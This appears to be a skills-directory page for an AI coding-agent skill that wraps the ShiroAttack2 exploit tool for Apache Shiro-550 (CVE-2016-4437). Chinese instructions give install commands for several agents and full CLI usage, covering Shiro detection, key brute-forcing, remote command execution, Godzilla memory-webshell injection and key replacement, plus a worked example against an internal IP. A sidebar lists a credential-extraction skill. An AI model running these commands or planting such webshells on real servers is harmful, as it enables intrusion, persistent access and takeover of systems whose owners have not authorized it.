api-security
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro 漏洞"。覆盖单目标探测、密钥爆破、Gadget 链自动检测、命令执行、内存马注入和 Key 修改。
Claude Code
$ npx -y skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli --agent claude-code
Codex
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a codex -y
Cursor
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a cursor -y
Gemini CLI
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a gemini-cli -y
GitHub Copilot
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a github-copilot -y
OpenCode
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a opencode -y
Windsurf
$ npx skills add SummerSec/ShiroAttack2 --skill shiro-attack-cli -a windsurf -y
name: shiro-attack-cli description: 当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro 漏洞"。覆盖单目标探测、密钥爆破、Gadget 链自动检测、命令执行、内存马注入和 Key 修改。 user-invocable: false
Shiro-550 漏洞利用命令行工具,从 fat JAR 直接运行,无需 GUI。
JAR="shiro_attack-5.1.1-all.jar" CP="com.summersec.attack.CLI.MainCLI" java -cp $JAR $CP <命令> [选项]
如果本地没有 jar,从 GitHub Releases 下载:
# 查看最新版本 curl -s https://api.github.com/repos/SummerSec/ShiroAttack2/releases/latest \ | grep browser_download_url | grep all.jar | cut -d '"' -f 4 # 或用浏览器打开 https://github.com/SummerSec/ShiroAttack2/releases # 下载 shiro_attack-*-all.jar 即可
`crack` 命令需要 `data/shiro_keys.txt`。如果文件不存在,从 GitHub 下载:
mkdir -p data curl -L -o data/shiro_keys.txt \ https://raw.githubusercontent.com/SummerSec/ShiroAttack2/master/data/shiro_keys.txt
`data/` 目录需放在运行 jar 的工作目录下。
java -cp $JAR $CP detect -u <url> [-k <关键词>] [--cbc|--gcm] [--proxy <url>] [--timeout <秒>]
成功输出:`[++] 存在shiro框架!`
# 字典爆破(工作目录需有 data/shiro_keys.txt) java -cp $JAR $CP crack -u <url> [--cbc|--gcm] # 验证指定 Key java -cp $JAR $CP crack -u <url> -K <base64_key> [--cbc|--gcm]
java -cp $JAR $CP exec -u <url> -K <base64_key> -c <命令> [--cbc|--gcm] [-g <gadget>] [-e <回显>] [--json]
java -cp $JAR $CP memshell -u <url> -K <base64_key> -t <类型> [--pass <密码>] [--path <路径>] [--cbc|--gcm]
java -cp $JAR $CP changekey -u <url> -K <当前key> --newkey <新key> [--variant <变体>] [--cbc|--gcm]
java -cp $JAR $CP gui
| Shiro 版本 | 选项 | |-----------|------| | ≤ 1.2.4 | `--cbc` | | ≥ 1.2.5 | `--gcm` |
使用 `--json` 时日志行输出为结构化 JSON,命令执行结果仍以原始文本打印。
{"level":"info","msg":"[++] 存在shiro框架!"}
{"level":"success","msg":"[++] 找到key:kPH+bIxk5D2deZiIxcaaaA=="}
{"level":"info","msg":"[++] 发现构造链:CommonsBeanutilsString_183 回显方式: AllEcho"}JAR="shiro_attack-5.1.1-all.jar" CP="com.summersec.attack.CLI.MainCLI" T="http://192.168.1.100:8080" # 1. 探测 Shiro java -cp $JAR $CP detect -u $T --cbc # 2. 爆破 Key java -cp $JAR $CP crack -u $T --cbc # 3. 执行命令 java -cp $JAR $CP exec -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -c "whoami" --cbc # 4. 注入内存马 java -cp $JAR $CP memshell -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -t 哥斯拉[Filter] --pass mypass # 5. 修改 Shiro Key java -cp $JAR $CP changekey -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" --newkey "FcoRsBKe9XB3zOHbxTG0Lw=="
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…